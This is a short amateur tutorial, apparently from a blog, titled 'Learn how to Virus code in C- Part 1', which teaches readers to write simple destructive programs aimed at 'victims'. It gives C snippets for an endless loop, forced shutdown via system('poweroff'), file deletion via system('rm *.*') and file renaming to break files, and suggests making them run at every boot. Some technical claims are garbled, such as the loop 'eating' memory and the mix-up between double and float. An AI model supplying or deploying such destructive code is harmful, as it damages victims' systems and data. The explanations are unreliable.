Learn how to Virus code in C- Part 1

Virus code can be coded using several language. The best being c or vbs. Today I will explain you how to create some simple virus using c.

I am assuming you know at least c basics. First lets begin with tiny and simple ones.

int c;
while(1)
{c=c+10;}

This simple script needs no explanation. It will just be eating away your victims virus at a slow space. The person can stop this by just closing the .exe file.The memory is used to store the result.
As you know a double takes up more space you can replace int with float.

Now lets try to create a simple Linux virus.

system("poweroff");

This simple script will turn off your victims comp. The above linux virus can be made extremely dangerous by making a simple change. if you can make your code do it's job when ever a person turns on his comp then think what will happen ( i mean other than you going to jail) the person must have to format his system.

Now lets step it up.Lets increase the venom of our snake

system("rm *.*");

This will erase/delete all files with all extension provided the logged user has permission to delete it.Just imagine if the admin runs it then it will create a havoc.

Now lets come back to windows what if you change the extension of a file. It becomes useless.Now let's rename a few file.
rename(old_file_name_with_path,newname");
Now what you can do with this left up to you.Just use your brain and you will make out it's potential.

These are very simple virus but can cause havoc.